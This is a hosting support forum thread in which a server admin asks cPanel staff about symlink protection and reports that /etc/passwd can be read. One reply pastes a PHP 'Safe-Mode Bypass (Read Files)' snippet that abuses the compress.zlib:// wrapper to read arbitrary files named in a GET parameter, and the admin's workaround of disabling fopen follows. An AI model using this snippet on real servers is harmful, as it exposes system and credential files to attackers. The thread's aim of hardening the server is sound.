Skip to main content

Best way to secure server from symlinks?

Comments

3 comments

  • cPanelMichael
    Hello, It looks like this system is configured to use the Bluehost patch, however it's not required because you already use the cPanel hardened kernel for symlink protection at the kernel level. You should select Off for the Symlink Protection option in the Global Configuration section of WHM's Apache Configuration interface (Home >> Service Configuration >> Apache Configuration). This will correct the symlink warning message you see in "WHM >> Security Advisor". Regarding the ability to view the /etc/passwd data, could you let us know the specific steps you are taking to reproduce that behavior? Thank you.
    0
  • The raw
    Hello, It looks like this system is configured to use the Bluehost patch, however it's not required because you already use the cPanel hardened kernel for symlink protection at the kernel level. You should select Off for the Symlink Protection option in the Global Configuration section of WHM's Apache Configuration interface (Home >> Service Configuration >> Apache Configuration). This will correct the symlink warning message you see in "WHM >> Security Advisor". Regarding the ability to view the /etc/passwd data, could you let us know the specific steps you are taking to reproduce that behavior? Thank you.

    sure there's a part of code which can read it
    Php Safe-Mode Bypass (Read Files)

    File:

    eg: /etc/passwd
    function rsg_read() { $test=""; $temp=tempnam($test, "cx"); $file=$_GET['file">; $get=htmlspecialchars($file); echo "
    Trying To Get File $get
    "; if(copy("compress.zlib://".$file, $temp)){ $fichier = fopen($temp, "r"); $action = fread($fichier, filesize($temp)); fclose($fichier); $source=htmlspecialchars($action); echo "
    Start $get

    $source

    Fin $get
    "; unlink($temp); } else { die("Sorry... File ".htmlspecialchars($file)." dosen't exists or you don't have access."); } echo "
    "; } if(isset($_GET['file">)) { rsg_read(); } ?>

    script isn't created by me so i don't know too much about it!
    0
  • The raw
    as for now i found a fix for this, i add "fopen" on disabled func's, i don't know if this will make any problem in websites, but nothing reported for now :/
    0

Please sign in to leave a comment.